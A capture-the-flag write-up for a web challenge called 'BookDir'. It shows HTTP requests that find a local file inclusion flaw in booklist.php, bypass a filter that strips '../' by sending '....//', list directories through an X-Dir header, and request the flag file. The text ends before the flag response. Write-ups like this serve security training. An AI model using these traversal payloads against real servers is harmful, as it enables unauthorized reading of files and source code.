# ▼▼▼BookDir (Web:125pts)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```89.38.210.129:8012```
---
**【Identify the vulnerability and filter】**
**(1)Normal response**
```GET /books/booklist.php?f=Beloved HTTP/1.1GET /books/booklist.php?f=./Beloved HTTP/1.1GET /books/booklist.php?f=./../Beloved HTTP/1.1GET /books/booklist.php?f=././Be../loved HTTP/1.1GET /books/booklist.php?f=./../Beloved../ HTTP/1.1GET /books/booklist.php?f=/////////Beloved HTTP/1.1GET /books/booklist.php?f=..//Beloved HTTP/1.1```
↓
```"\"124 was spiteful. Full of baby's venom. The women in the house knew it and so did the children.\"\n"```
---
**(2)Different from normal response**
```GET /books/booklist.php?f=..././Beloved HTTP/1.1GET /books/booklist.php?f=..Beloved HTTP/1.1GET /books/booklist.php?f=B/eloved HTTP/1.1GET /books/booklist.php?f=B./eloved HTTP/1.1```
↓
false
---
Conclusion
↓
・LFI vulnerability exists!!
・Behavior of filter
　　`../` will be deleted
　　`..` will not deleted
　　`./` will not deleted
　　`/` will not deleted
---
**【Get source code】**
GET /books/booklist.php?f=`....//booklist.php`
↓
```" $file];    }
    echo json_encode($files);}"```
↓
In the `X-Dir header`, you can get the file list of the directory
---
**【Get file list】**
**(1)Get the file list of `./`**
↓
```GET /books/booklist.php HTTP/1.1Host: 89.38.210.129:8012X-Dir: ./```
↓
```[{"name":"Beloved"},{"name":"Catch-22"},{"name":"Lolita"},{"name":"Nineteen Eighty-Four"},{"name":"The Catcher in the Rye"},{"name":"The Grapes of Wrath"},{"name":"The Great Gatsby"},{"name":"The Sound and the Fury"},{"name":"Ulysses"}]```
---
**(2)Get the file list of `../`**
```GET /books/booklist.php HTTP/1.1Host: 89.38.210.129:8012X-Dir: ../```
↓
```[{"name":"4o4_fl4g_n0t_f0und.php"},{"name":"booklist.php"},{"name":"books.js"},{"name":"css"},{"name":"index.html"},{"name":"list"},{"name":"vendor"}]```
---
**【Get a flag file】**
```GET /books/booklist.php?f=....//4o4_fl4g_n0t_f0und.php HTTP/1.1```
↓
```"